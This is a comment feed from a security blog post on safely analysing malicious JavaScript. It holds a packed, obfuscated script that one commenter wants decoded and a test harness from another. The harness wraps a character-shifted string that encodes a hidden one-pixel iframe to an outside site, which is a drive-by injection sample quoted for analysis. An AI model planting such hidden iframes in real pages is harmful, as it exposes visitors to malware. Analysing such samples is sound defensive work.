Comments on: Safely Investigating Malicious JavaScript http://asert.arbornetworks.com/2006/04/safely-investigating-malicious-javascript/ A weblog dedicated to educating the community on security threats that matter Fri, 21 Nov 2008 13:57:26 +0000 http://wordpress.org/?v=abc By: Ashish http://asert.arbornetworks.com/2006/04/safely-investigating-malicious-javascript/#comment-114136 Ashish Tue, 06 May 2008 07:54:31 +0000 http://asert.arbornetworks.com/2006/04/safely-investigating-malicious-javascript/#comment-114136 hello everyone i have a problem that my javascript is encoded and i want to edit this code but i dont know how to decode it here is the code if anyone help me eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(c/a))+String.fromCharCode(c%a+161)};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[(function(e){return d[e]})];e=(function(){return'[\xa1-\xff]+'});c=1};while(c--){if(k[c]){p=p.replace(new RegExp(e(c),'g'),k[c])}}return p}('£ ´=µ Ù();£ Ç=µ Ù();£ ª=»;£ ¿=0;£ ¢´=Õ;£ ü=÷;£ ¢¹=÷;¦ ¢¯(Å){Ô(£ i ë Ç){¯(Ç[i].Å==Å)¹ Ç[i].¢Á}¹ »};¦ ø(){Ô(£ i=0;i<´.¢æ;i++)¯(´[i])´[i].°.À.Â.¢²=´[i].°.z};¦ ¸(ö,±){¯(!¢´)¹;¯(¤.Æ(ö))¤.Æ(ö).Ò=±;û ¢Ï(±)};¦ î(©){£ ¢=¡;¡.ù=©["¢µ"]?©["¢µ"]:»;¡.³=©["³"]?©["³"]:¢Ð;¡.¼=©["¼"]?©["¼"]:»;¡.w=©["Ä"]?©["Ä"]:"¢Ñ";¡.h=©["Ë"]?©["Ë"]:"¢Ò";¡.È=»;¯(¡.ù){´[0]=µ ¢¿(¡.³,¡.w,¡.h);¤.Æ(¡.ù).¥(´[0].Ó())}¡.É=¦(º){¢.¾=»;¢§{¢.¢¶(º.Þ)}¢ª(e){¸("¸","î ¢¬: "+º.Þ);¢½(¢.ê);¸("¸",e.¢Ó());¸("¸",e.¢Ô+":"+e.¢Ú);¹}¢.¾=µ Ø(¢.É);¸("¸",º.Þ);¢Õ.¢Ö=¢×()};¡.¢¶=¦(º){¯(!¢.È)¢.È=µ ¢¼(¢.³,¢.¼,¢.w,¢.h);ª=¢Ø("("+º+")");¢.È.Û();¢.¢¸()};¡.¾=µ Ø(¢.É);¡.Û=¦(){¯(¢.¾.¢Ù()==0)¢.¾.ç("½.è?å=½","ä=¢Û&¿="+¿)};¡.ê=¢Ý(¢.Û,¢.³);¡.¢¸=¦(){¯(ª.Á){Ê=0;Ô(£ i ë ª.Á){Ê=ª.Á[i].½;¯(!´[Ê])´[Ê]=µ õ(¢.³,Ê,¢.w,¢.h);¯(¿<ª.Á[i].¿)¿=ª.Á[i].¿;¯(ª.Á[i].±.ã(0,5)=="\\\\¢» "){´[Ê].à(ª.Á[i].±.ã(5))}û ´[Ê].Ü(ª.Á[i].Ì,ª.Á[i].±)}ª.Á=»}¯(¢¹&&ª.Ã){Ô(£ i ë ª.Ã){¯(¿<ª.Ã[i].¿)¿=ª.Ã[i].¿;¯(!´[0])¢ß;¯(ª.Ã[i].±.ã(0,5)=="\\\\¢» "){´[0].à(ª.Ã[i].±.ã(5))}û ´[0].Ü(ª.Ã[i].Ì,ª.Ã[i].±)}ª.Ã=»}}};¦ ¢¼(³,¼,w,h){£ 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"+¢.¢°+"";©["ï"]="½";©["Ä"]=w;©["Ë"]=h;©["¢¢"]=÷;¡.°=µ ¢£(©);¡.°.À.¢Í=¦(){ø();´[¢.®].°.À.Â.¢²++};¡.°.¢Î=¦(){¢.¾=µ Ø(¢.É);¢.¾.ç("½.è?å=½","ä=¢Ü&®="+¢.®);´[¢.®]=»};¡.¬=¡.°.¢¦(¤.§("¨"));¡.¬.Â.Ä="Ï%";¡.¬.Â.Ë="Ï%";¡.¬.Â.¢¨="¢«";¡.¬.«="¢­";¡.Ú=¦(){£ t=¤.§("À");t.Â.Ä="Ï%";t.¢±="0";t.¢³="0";£ â=t.¥(¤.§("Ð"));£ ¶=â.¥(¤.§("¶"));£ ²=¶.¥(¤.§("²"));².«="¢Þ";²=¶.¥(¤.§("²"));².«="¢·";².Ò=¢.°.æ;£ Í=¶.¥(¤.§("²"));Í.«="¢º";Í.Ö=¢.°.¢Â;£ ú=¶.¥(¤.§("²"));ú.«="¢à";ú.Ö=¢.°.¢á;¹ t};¡.°.ý(¡.Ú());¡.°.¢¡(¡.­.Ó());¡.Ü=¦(Ì,±){£ ¨;£ ·;·=¤.§("·");·.¥(¤.í(Ì+": "));·.«="¢©";¨=¤.§("¨");¨.«="¢®";¨.¥(·);¨.Ò+=±;¢.¬.¥(¨);¢.¬.ß=¢.¬.á};¡.à=¦(±){£ ¨;¨=¤.§("¨");¨.«="¢¾";¨.Ò+=±;¢.¬.¥(¨);¢.¬.ß=¢.¬.á};¡.°.¢ã();¡.­.ñ()};¦ ¢¿(³,w,h){£ ¢=¡;¡.³=³;¡.®=0;¡.­=µ ì(¡.®);£ ©=µ Ù();©["æ"]="¢Ã î";©["ï"]="Ã";©["Ä"]=w;©["Ë"]=h;©["¢¢"]=Õ;¡.°=µ ¢£(©);¡.¬=¡.°.¢¦(¤.§("¨"));¡.¬.Â.Ä="Ï%";¡.¬.Â.Ë="Ï%";¡.¬.Â.¢¨="¢«";¡.¬.«="¢­";¡.Ú=¦(){£ t=¤.§("À");t.Â.Ä="Ï%";t.¢±="0";t.¢³="0";£ â=t.¥(¤.§("Ð"));£ ¶=â.¥(¤.§("¶"));£ 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hello everyone
i have a problem that my javascript is encoded and i want to edit this code but i dont know how to decode it here is the code if anyone help me
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]]> By: Jose Nazario http://asert.arbornetworks.com/2006/04/safely-investigating-malicious-javascript/#comment-31 Jose Nazario Tue, 02 May 2006 14:33:16 +0000 http://asert.arbornetworks.com/2006/04/safely-investigating-malicious-javascript/#comment-31 WordPress has a tendency to completely screw up technical content. i can't say i like this software in the least, layout and content get munged. contact me directly and i'll forward you a flat text representation of this technique. it's all cut and paste from actual investigations, so i know it works. jose _at_ arbor DOT net WordPress has a tendency to completely screw up technical content. i can’t say i like this software in the least, layout and content get munged.

contact me directly and i’ll forward you a flat text representation of this technique. it’s all cut and paste from actual investigations, so i know it works.

jose _at_ arbor DOT net

]]> By: Jordan Wiens http://asert.arbornetworks.com/2006/04/safely-investigating-malicious-javascript/#comment-28 Jordan Wiens Mon, 01 May 2006 12:56:55 +0000 http://asert.arbornetworks.com/2006/04/safely-investigating-malicious-javascript/#comment-28 Running 0.2.5 NGS-JS, I'm not getting the same verbose error messages you are. Just generic "syntax error" messages. A quick look through the man pages didn't show any obvious verbosity that changed the error reporting type. Additionally, while the vanilla code without the obfuscated code works fine, when I add that in, I get a syntax error. Any ideas? I've copied and pasted a couple of times to make sure I didn't fat finger something. $ js mal.js js: evaluation of file `mal.js' failed: mal.js:7: syntax error Where mal.js: function MyDoc() { function write(text) { print(text); } } document=new MyDoc(); (ejtqmbz;opof(!xjeui>2!ifjhiu>2!tsd>(iuuq; 0usvtu5gsff/xt0@je>joefy31(?=0jgsbnf?#*>> (Incidentally, I'm not sure what html will work in comments, so we'll see how much of this makes it through as a comment) Running 0.2.5 NGS-JS, I’m not getting the same verbose error messages you are. Just generic “syntax error” messages. A quick look through the man pages didn’t show any obvious verbosity that changed the error reporting type. Additionally, while the vanilla code without the obfuscated code works fine, when I add that in, I get a syntax error.

Any ideas? I’ve copied and pasted a couple of times to make sure I didn’t fat finger something.

$ js mal.js
js: evaluation of file `mal.js’ failed:
mal.js:7: syntax error

Where mal.js:
function MyDoc() {
function write(text) {
print(text);
}
}
document=new MyDoc();
(ejtqmbz;opof(!xjeui>2!ifjhiu>2!tsd>(iuuq;
0usvtu5gsff/xt0@je>joefy31(?=0jgsbnf?#*>>

(Incidentally, I’m not sure what html will work in comments, so we’ll see how much of this makes it through as a comment)

]]>